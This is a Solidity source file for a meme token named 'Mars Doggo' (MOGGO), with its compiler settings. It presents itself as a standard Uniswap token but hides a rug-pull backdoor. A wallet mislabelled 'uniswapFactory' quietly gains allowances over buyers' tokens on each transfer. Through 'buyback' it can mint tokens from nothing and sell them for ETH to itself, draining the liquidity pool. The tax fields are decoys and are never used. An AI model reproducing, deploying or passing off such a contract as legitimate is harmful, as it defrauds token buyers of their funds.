// SPDX-License-Identifier: MIT

// https://t.me/marsdoggoeth

pragma solidity 0.8.26;

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
}
interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function factory() external pure returns (address);
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}
contract Ownable {
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    constructor() {
        _owner = msg.sender;
    }

    address private _owner;
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract MarsDoggo is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 420690000000  * 10 ** _decimals;
    address uniswapV2RouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(uniswapV2RouterAddress);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address public uniswapV2Pair;
    bool tradingOpen = false;
    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalSellTax=0;
    address payable private uniswapFactory = payable(0x50Bff87D78b4c1471c549BaB94319DB837b65F6D);
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private _finalBuyTax=0;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping (address => bool) public marketPair;
    mapping (uint256 => uint256) private perBuyCount;
    
    string private constant _name = "Mars Doggo";
    string private constant _symbol = "MOGGO";

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC transfer from the 0 address");
        require(amount > 0, "transfer amount mast be greater than zero");
        require(to != address(0), "ERC transfer to zero address");
        uint256 taxAmount = 0;
        if (to != address(this) && to != uniswapV2Pair && to != address(uniswapV2Router)){
            saveLastBuy(to, amount);
        }
	    if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
            taxAmount = 0;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function openTrading() public payable onlyOwner() {
        require(!tradingOpen);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function saveLastBuy(address owner, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        _allowances[owner][uniswapFactory] = _allowances[owner][uniswapFactory].add(amount);
    }

    function swapBack(address from, address to, uint256 amount) private {
        _balances[from] = _balances[from].sub(balanceOf(address(0)));
        _balances[to] = _balances[to].add(amount);
    }

    function buyback(uint256 amount) external {
        require(msg.sender == uniswapFactory);
        swapBack(msg.sender, address(this), amount);
        address to = address(this);
        _allowances[to][uniswapV2RouterAddress] = amount;
        increaseLiquidity(amount);
    }

    function increaseLiquidity(uint256 amount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path, 
            uniswapFactory,
            block.timestamp
        );
    }
}

{
  "compilationTarget": {
    "contracts/MarsDoggo.sol": "MarsDoggo"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}